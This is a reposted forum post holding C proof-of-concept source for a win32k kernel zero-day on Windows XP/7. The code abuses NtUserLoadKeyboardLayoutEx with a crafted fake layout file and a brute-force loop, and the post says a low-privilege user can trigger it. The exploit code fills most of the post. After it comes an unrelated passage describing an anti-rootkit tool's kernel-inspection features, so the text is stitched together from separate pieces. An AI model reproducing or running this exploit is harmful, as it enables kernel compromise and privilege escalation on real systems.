xp/win7 win32k kernel 0day

目前还是ODay,转自DEBUGMAN
老外今天公布的,改了一下XP的可以支持任意权限用户触发

建立一个名为1123的user权限用户运行可触发~
不是老外,翰海源的instruder公布的。

XP下没对文件句柄做任何检测,所以 lpLayoutFile 只要是任何一个可以写入的地址都可以。
win7里面还会限定这个句柄只能是windows/system32下的文件。

// poc.cpp :
//
 
#include "stdafx.h"
 
 
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
 
#pragma comment(lib,"User32.lib")
 
#define MAGIC_OFFSET 0x6261
#define WIN7 0
#define InitializeUnicodeStr(p,s) {     \
  (p)->Length= wcslen(s)*2;           \
  (p)->MaximumLength = wcslen(s)*2+2; \
  (p)->Buffer = s;                \
}
#if WIN7
 
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
 IN HANDLE Handle,
 IN DWORD offTablelow,
 IN DWORD offTableHigh,
 IN PUNICODE_STRING puszKeyboardName,
 IN HKL hKL,
 IN PUNICODE_STRING puszKLID,
 IN DWORD dwKLID,
 IN UINT Flags
 )
{
  __asm
  {
    mov     eax,11E3h
      mov edx, 7ffe0300h
      call dword ptr [edx]
     ret     20h
  }
}
#else
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
 IN HANDLE Handle,
 IN DWORD offTable,
 IN PUNICODE_STRING puszKeyboardName,
 IN HKL hKL,
 IN PUNICODE_STRING puszKLID,
 IN DWORD dwKLID,
 IN UINT Flags
 )
{
  __asm
  {
    mov eax, 000011c6h
      mov edx, 7ffe0300h
      call dword ptr [edx]
    retn 1Ch
  }
}
#endif
 
 
 
 
unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00   base=fdbbca98 fdbbca00 02443500
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
 
;
UNICODE_STRING  uStr;
UNICODE_STRING uKerbordname;
 
VOID boom_loadlayout()
{
       
  KEYBDINPUT      kb={0};
  INPUT           vInput={0};
 
  HANDLE          hFile;
  DWORD           dwFuckS0ny;
 
  HKL             hKbd;
 
  WCHAR           lpPath[MAX_PATH]={0};
  WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\DOCUME~1\\1123\\LOCALS~1\\Temp\\lSp0wns.boom111"};
 
  LPVOID          lpShellPtr;
 
 
   
  hFile = CreateFileW(lpLayoutFile,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    0,
    CREATE_ALWAYS,
    0,0);
 
  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
    return ; 
  }
 
  WriteFile(  hFile,
    fakeDll2,
    sizeof(fakeDll2)-1,
    &dwFuckS0ny,
    NULL);
   CloseHandle(hFile);
 
  hFile = CreateFileW (lpLayoutFile,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,0);
 
  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error\n");
    return ; 
  }
  hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
  printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101
  /*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,
  IN DWORD   offTable,
  IN PUNICODE_STRING   puszKeyboardName,
  IN HKL   hKL,
  IN PUNICODE_STRING   puszKLID,
  IN DWORD   dwKLID,
  IN UINT   Flags  
  )  */
 

  CloseHandle(hFile);
  //printf("\n[+] Done\n");
}
int main(int argc, CHAR* argv[])
{
 
  LoadLibraryA("user32.dll");
  InitializeUnicodeStr(&uStr,L"p3d.dll");//???ú±?D?D?óú3¤?è
  //fix by instruder
  InitializeUnicodeStr(&uKerbordname,L"A");
  uKerbordname.MaximumLength=0;
   
  for (int j=0;j<=2;j++)
  {
    for (int i1=0;i1<=0xff;i1++)
    {
      for (int i2=0;i2<0xff;i2++)
      {
        printf("%x,%x\n",i1,i2);
        fakeDll2[0x3d]=i1;
        fakeDll2[0x3e]=i2;
        fakeDll2[0x3f]=j;
        boom_loadlayout();
 
      }
    }
  }
   
 
 
  return 0;
}//


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一:SSDT表的hook检测和恢复 ~!~~~ 二:IDT表的hook检测和恢复 ~~~~~~(idt多处理器的恢复没处理,自己机器是单核的,没得搞,不过多核的列举可以) 三:系统加载驱动模块的检测 通过使用一个全局hash表(以DRIVEROBJECT为对象)来使用以下的方法来存储得到的结果,最终显示出来 1.常规的ZwQuerySystemInformation来列举 2通过打开驱动对象目录来列举 3搜索内核空间匹配驱动的特征来列举(这个功能里面我自己的主机一运行就死机,别的机器都没事,手动设置热键来蓝屏都不行,没dump没法分析,哎,郁闷) 4从本驱动的Modulelist开始遍历来列举驱动 四:进程的列举和进程所加载的dll检测 采用以下方法来列举进程: 1ZwQuerySystemInformation参数SystemProcessesAndThreadsInformation来枚举 2进程EPROCESS 结构的Activelist遍历来枚举 3通过解析句柄表来枚举进程 4通过Handletablelisthead枚举进程 5进程创建时都会向csrss来注册,从这个进程里面句柄表来枚举进程 6通过自身进程的HANDLETABLE来枚举进程 7通过EPROCESS的SessionProcessLinks来枚举进程 8通过EPROCESS ---VM---WorkingSetExpansionLinks获取进程 9暴力搜索内存MmSystemRangeStart以上查找PROCESS对象 进程操作: 进程的唤醒和暂停通过获取PsSuspendProcess和PsResumeProcess来操作的 进程结束通过进程空间清0和插入apc。 采用以下方法查找DLL: 1遍历VAD来查找dll 2挂靠到对应的进程查找InLoadOrderLinks来枚举dll 3暴力搜索对应进程空间查找pe特征来枚举dll DLL的操作: Dll的卸载是通过MmUnmapViewOfSection和MmmapViewOfSection(从sdt表中相应函数搜索到的)来实现的(本来想直接清0 dll空间,有时行有时不行)(只要将这个进程的ntdll卸载了,进程就结束了,一个好的杀进程的办法撒,绿色环保无污染),注入dll使用的是插入apc实现的。(注入的dll必须是realse版的。Debug版会出现***错误,全局dll注入貌似也是)插入apc效果不是很好,要有线程有告警状态才执行。 五:线程信息的检测 遍历ThreadList来枚举线程 线程的暂停和唤醒都是通过反汇编获取PsResumeThread和PsSuspendThread直接从r3传来ETHREAD来操作的,通过插入APC来结束线程 六:shadow sdt表的hook检测与恢复 没有采用pdb来解决函数名问题,直接写入xp和03的shandow表函数名(主要是自己的网不稳定,连windbg有时都连不上微软) 七:系统所有的过滤驱动的检测 查看各device下是否挂接有驱动之类的,可直接卸载 八:系统常用回调历程的检测和清除 只检查了PsSetLoadImageNotifyRoutine PsSetCreateThreadNotifyRoutine PsSetCreateProcessNotifyRoutine CmRegisterCallback这几个,至于那个什么shutdown回调不知道是啥玩意,就没搞了,有知道的顺便告诉我下撒,谢谢 九:文件系统fat和ntfs的分发函数检测 直接反汇编fat和ntfs的DriverEntry得到对应的填充分发的偏移,然后和当前已经运行的文件系统的分发相比是否被hook,并附带恢复 十:文件查看功能 自己解析ntfs和fat的结构,来实现列举文件和直接写磁盘删除。附带有普通的删除和发生IRP来删除。不过这里面有点问题,ntfs删除有时把目录给搞坏了,大家凑合着吧, Ntfs网上删除这些操作的代码不多,就是sudami大大的利用ntfs-3g来实现的,看了下,太多了,充满了结构。然后自己对照着系统删除文件时目录的变化来自己实现的。只处理了$BITMAP对应的位清除,父目录的对应文件的索引项的覆盖,删除文件对应的filerecord清0. 另外偷懒时间都没处理,呵呵,y的,一个破时间都都搞好几个字节移来移去的。 十一:常用内核模块钩子的检测和恢复 这里只检测了主要的内核模块nkrnlpa**.exe的.win32k.sys,hal.dll,比对它们的原始文件从而查找eat inline hook,iat hook ,和inline hook。Inline是从TEXT段开始一段位置开始比较的。(有点慢貌似,等待显示扫描完成就好了) 十二:应用层进程所加载dll的钩子 应用层钩子检测和内核模块钩子检测原理一样,不过为了能读写别的进程的空间,并没有使用openprocess去打开进程,而是通过KiattachProcess挂靠到当前进程,然后通过在r0直接读写进程空间的。

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